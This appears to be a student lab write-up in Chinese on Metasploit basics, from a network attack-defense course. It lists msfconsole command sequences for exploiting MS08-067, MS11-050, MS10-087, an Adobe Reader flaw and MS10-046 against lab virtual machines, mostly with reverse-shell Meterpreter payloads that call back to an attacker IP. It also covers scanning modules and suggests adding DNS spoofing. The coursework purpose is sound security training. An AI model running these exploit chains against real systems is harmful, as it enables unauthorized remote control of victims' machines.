2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用

————————CONTENTS————————


一.原理与实践说明

1.实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08-067; (1分)

  • 一个针对浏览器的攻击,如ms11-050;(1分)

  • 一个针对客户端的攻击,如Adobe;(1分)

  • 成功应用任何一个辅助模块。(0.5分)

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

2.预备知识

一、MSF的六种模块

  • Exploit模块

    • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    • 形象点来说就是攻击模块
  • Payload模块
    • 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
  • Encoder模块
    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
    • 不改变payload作用,但能对payload进行加工
  • Aux模块
    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • Post模块
    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
    • 这里主要指的是攻击之后可能用到的模块
  • Nops模块
    • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
    • 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置

二、MSF常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name :使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

3.基础问题

  • 问:用自己的话解释什么是exploit,payload,encode

    • exploit:测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
    • payload:攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能。
    • encodeencode编码一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。

返回目录


二.实践过程记录

1.Windows服务渗透攻击——MS08-067安全漏洞

①攻击机:kali ②靶机:windows XP SP3(English)

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(ms08_067_netapi) > show payloads
  • msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
  • msf exploit(ms08_067_netapi) > set LHOST 192.168.130.130 //攻击机ip
  • msf exploit(ms08_067_netapi) > set LPORT 5303 //攻击端口
  • msf exploit(ms08_067_netapi) > set RHOST 192.168.130.133 //靶机ip,特定漏洞端口已经固定
  • msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
  • msf exploit(ms08_067_netapi) > exploit //攻击

建立会话,攻击成功结果如下:

返回目录

2.浏览器渗透攻击——MS11-050

①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/browser/ms11_050_mshtml_cobjectelement
  • msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
  • msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.130.130 //攻击机ip
  • msf exploit(ms11_050_cobjectelement) > set LPORT 5303 //攻击端口固定
  • msf exploit(ms11_050_cobjectelement) > set URIPATH 2015dwj //统一资源标识符路径设置
  • msf exploit(ms11_050_cobjectelement) > exploit

在浏览器输入http://192.168.130.130:8080/2015dwj,IE出现弹窗,警告遇到问题需关闭程序:

此时攻击机正在尝试建立会话,但靶机已经禁止访问了该网页。失败。

第二次在IE中访问特定URI,这次回车刚一敲下去,连界面都还没有弹出来,又被kill了:

严肃地思考:是不是浏览器或者靶机系统的问题?看看还有哪些系统或软件会存在这个漏洞吧:

于是尝试了winXP/win7和IE7.0/IE8.0等等排列组合,费尽周折配置好了几种环境,可是还是失败了。

去网上搜各种『ie已经为了帮助保护您的计算机而关闭此网页-百度经验』、『使用ie8 提示Internet Explorer 已经为了帮助保护您的计算机而关闭此网页,怎么解决』、『Win7系统下IE浏览器提示“IE为了保护计算机而关闭网页”的问题分析及解决方法』等等等等解决方案,根据前人的经验教训总结出了:应该修改Internet的安全设置!

在IE浏览器打开“工具->Internet选项”,选择“安全”选项卡,将设置里面最不安全的全部选上,自定义也设置为最低等级——“中”:

除此之外,选择“高级”选项卡,选中“允许运行或安装软件,即使签名无效”:

总之,想尽一切方法降低IE浏览器的警惕性,让它老老实实地中我们的圈套!

可是还是失败了..且原因至今未知(ಥ_ಥ)

返回目录

3.针对Office软件的渗透攻击——MS10-087

①攻击机:kali ②靶机:windowsXP Professional sp2 ③Office版本:2003

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
  • msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec //运行一个可执行文件
  • msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe //绑定计算器程序,进行启动
  • msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit //攻击

使用show options命令查看一些参数值,比如文件名、绑定程序等等。此时文件名为默认,也可以进行修改。

将生成的文件从/root/.msf4/local/msf.rft拷贝到靶机上,并使用Office2003打开。不管第几次打开,都会提示错误:

双击运行的同时,由于绑定到计算器,因此打开了计算器程序,攻击成功:

返回目录

4.针对Adobe Reader软件的渗透攻击——adobe_toolbutton

①攻击机:kali ②靶机:windowsXP Professional sp2 ③Adobe版本:9.3

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/fileformat/adobe_cooltype_sing
  • msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
  • msf exploit(adobe_cooltype_sing) > set LHOST 192.168.130.130 //攻击机ip
  • msf exploit(adobe_cooltype_sing) > set LPORT 5303 //攻击端口
  • msf exploit(adobe_cooltype_sing) > set FILENAME 20155303-2.pdf //设置生成pdf文件的名字
  • msf exploit(adobe_cooltype_sing) > exploit //攻击

生成的pdf如下图所示:

将生成的pdf文件拷贝到靶机上。

在kali上输入back退出当前模块,进入监听模块,输入以下命令:

  • msf > use exploit/multi/handler //进入监听模块
  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
  • msf exploit(handler) > set LHOST 192.168.130.130 //攻击机ip
  • msf exploit(handler) > set LPORT 5303 //攻击端口固定
  • msf exploit(handler) > exploit

在靶机上打开20155303-2.pdf文件:

攻击机显示攻击成功:

此时若关闭pdf文件,则失去权限,攻击失败:

返回目录

5.快捷方式图标漏洞——MS10-046

①攻击机:kali ②靶机:windowsXP Professional sp2

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
  • msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.168.130.130 //攻击机ip
  • msf exploit(ms10_046_shortcut_icon_dllloader) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
  • msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.130.130 //攻击机ip
  • msf exploit(ms10_046_shortcut_icon_dllloader) > exploit //攻击

这样一来,靶机只要在浏览器访问192.168.130.130:80,就中了攻击者的圈套:

点击“允许”,会弹出一个攻击者IP的目录,其中有一个“快捷方式”的图标:

此时攻击机正在悄悄地连接靶机,试图建立会话:

靶机双击快捷方式,攻击机方显示成功建立会话。使用sessions -i 1选择会话:

尝试输入shell命令,攻击成功:

如果靶机关闭网页,攻击机仍可控制并攻击靶机:

一点小小的思考:让靶机输入攻击机的IP地址还是有很大的局限性。如果能将DNS欺骗与之相结合,那攻击就会更加主动。在这里可以用ettercap,修改etter.dns配置文件为*.cn A 192.168.130.130。这样一来,只要受害者访问*.cn域名的时候,就会强行被欺骗成192.168.130.130:80,从而就更加容易达到攻击者的目的啦~

返回目录

6.Metasploit之——信息收集模块

一、扫描端口

  1. msf > use auxiliary/scanner/portscan/syn(使用portscan模块)
  2. msf auxiliary(syn) > show options
  3. msf auxiliary(syn) > set RHOSTS 192.168.130.130(目标)
  4. msf auxiliary(syn) > set THREADS 50(线程)
  5. msf auxiliary(syn) > exploit

二、ssh服务器扫描

  1. msf > use auxiliary/scanner/ssh/ssh_version (使用ssh_version模块)
  2. msf auxiliary(ssh_version) > show options (查看选项)
  3. msf auxiliary(ssh_version) > set RHOSTS 10.107.100.0/24(目标网段)
  4. msf auxiliary(ssh_version) > set THREADS 50(线程)
  5. msf auxiliary(ssh_version) > exploit (开始)

三、telnet服务器扫描

  1. msf > use auxiliary/scanner/telnet/telnet_version (使用telnet_version模块)
  2. msf auxiliary(telnet_version) > show options (查看选项)
  3. msf auxiliary(telnet_version) > set RHOSTS 10.180.100.0/24(目标网段)
  4. msf auxiliary(telnet_version) > set THREADS 50(线程)
  5. msf auxiliary(telnet_version) > exploit (开始)

四、搜索网站中的Email地址

  1. msf > use auxiliary/gather/search_email_collector (使用search_email_collector模块)
  2. msf auxiliary(search_email_collector) > show options (查看选项)
  3. msf auxiliary(search_email_collector) > set DOMAIN baidu.com(扫描目标)
  4. msf auxiliary(search_email_collector) > exploit (开始)

五、扫描局域网有多少主机存活

  1. msf > use auxiliary/scanner/discovery/arp_sweep (使用discovery/arp_sweep模块)
  2. msf auxiliary(arp_sweep) > show options (查看选项)
  3. msf auxiliary(arp_sweep) > set RHOSTS 10.180.100.0/24(目标网段)
  4. msf auxiliary(arp_sweep) > set THREADS 50(线程)
  5. msf auxiliary(arp_sweep) > exploit (开始)

以下为对所在局域网进行扫描后的结果:

返回目录


三.实践总结及体会

  • 本次实验操作起来非常简单,逻辑也很清晰,绝大多数的时间花费在了配置环境上。从windowsXP Professional sp2到windows XP SP3(English),从IE 6.0到IE 7.0/8.0,Adobe Reader11到9,Office2010到2003,着实感受到了配置环境的艰辛,也体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。我想这也是与实践的差距之一吧。
  • 总体来说实验过程还是比较顺利,除了利用经典的这些漏洞外,还了解到了一些其他方法,比如自己写代码放入模块中,同样可以有针对性地实现攻击。在微软安全技术中心有很多最新公布的漏洞,都可以作为实践的素材。

返回目录


附:参考资料

2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用的更多相关文章

  1. 20165308『网络对抗技术』Exp5 MSF基础应用

    20165308『网络对抗技术』Exp5 MSF基础应用 一.原理与实践说明 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实 ...

  2. 20155308『网络对抗技术』Exp5 MSF基础应用

    20155308『网络对抗技术』Exp5 MSF基础应用 一.原理与实践说明 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实 ...

  3. 2017-2018-2 20155303『网络对抗技术』Exp6:信息收集与漏洞扫描

    2017-2018-2 20155303『网络对抗技术』 Exp6:信息收集与漏洞扫描 --------CONTENTS-------- 一.原理与实践说明 1.实践内容 2.基础问题 二.实践过程记 ...

  4. 2017-2018-2 20155303『网络对抗技术』Exp4:恶意代码分析

    2017-2018-2 20155303『网络对抗技术』Exp4:恶意代码分析 --------CONTENTS-------- 一.原理与实践说明 1.实践目标 2.实践内容概述 3.基础问题回答 ...

  5. 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践

    2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...

  6. 2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用

    2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:由攻击者或渗透测试者利 ...

  7. # 2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用

    2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:使用者利用漏洞进行攻击 ...

  8. 2017-2018-2 20155327『网络对抗技术』Exp5:MSF基础应用

    2017-2018-2 20155327『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:使用者利用漏洞进行攻击 ...

  9. 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...

随机推荐

  1. poj1195

    Suppose that the fourth generation mobile phone base stations in the Tampere area operate as follows ...

  2. 自学Linux Shell12.5-while、until命令

    点击返回 自学Linux命令行与Shell脚本之路 12.5-while.until命令 until 循环与 while 循环在处理方式上刚好相反. while循环用于不断执行一系列命令,也用于从输入 ...

  3. 【UOJ#275】组合数问题(卢卡斯定理,动态规划)

    [UOJ#275]组合数问题(卢卡斯定理,动态规划) 题面 UOJ 题解 数据范围很大,并且涉及的是求值,没法用矩阵乘法考虑. 发现\(k\)的限制是,\(k\)是一个质数,那么在大组合数模小质数的情 ...

  4. SQLITE在IIS中使用问题

    在WEB中使用这个数据库时,System.Data.SQLite.dll 这个经常会出问题 主要是版本问题,sqlite.DLL的版本要和Framework版本匹配 这是下载地址 http://www ...

  5. Linux:进程实例信息(/proc)

    https://blog.csdn.net/test1280/article/details/73632333 Linux:进程实例信息(/proc) 问几个问题: 1.怎么知道一个进程对应哪个可执行 ...

  6. 前端学习 -- Html&Css -- ie6 png 背景问题

    在IE6中对图片格式png24支持度不高,如果使用的图片格式是png24,则会导致透明效果无法正常显示 解决方法: 1.可以使用png8来代替png24,即可解决问题,但是使用png8代替png24以 ...

  7. WCF快速搭建Demo

    WCF快速搭建Demo ps:本Demo只是演示如何快速建立WCF 1.首先完成IBLL.BLL.Model层的搭建,由于数据访问层不是重点,WCF搭建才是主要内容,所以本Demo略去数据访问层. 新 ...

  8. 【loj3056】【hnoi2019】多边形

    题目 描述 ​ 给出一个 \(n\) 个点的多边形初始的三角剖分: ​ 一次合法的旋转定义为 \((a,b,c,d)\) ,满足 \(a<b<c<d\) : ​ 并且存在边\((a, ...

  9. [luogu2114][起床困难综合症]

    luogu2114 思路 因为位运算对于每一位是独立的,所以对每一位都对这n个数进行操作,然后观察最后得出的是1还是0.并且保证每一位拼起来之后要比m小. 代码 #include<cstdio& ...

  10. typescript类(学习笔记非干货)

    我们声明一个 Greeter类.这个类有3个成员:一个叫做greeting的属性,一个构造函数和一个greet方法. We declare a Greeter class. This class ha ...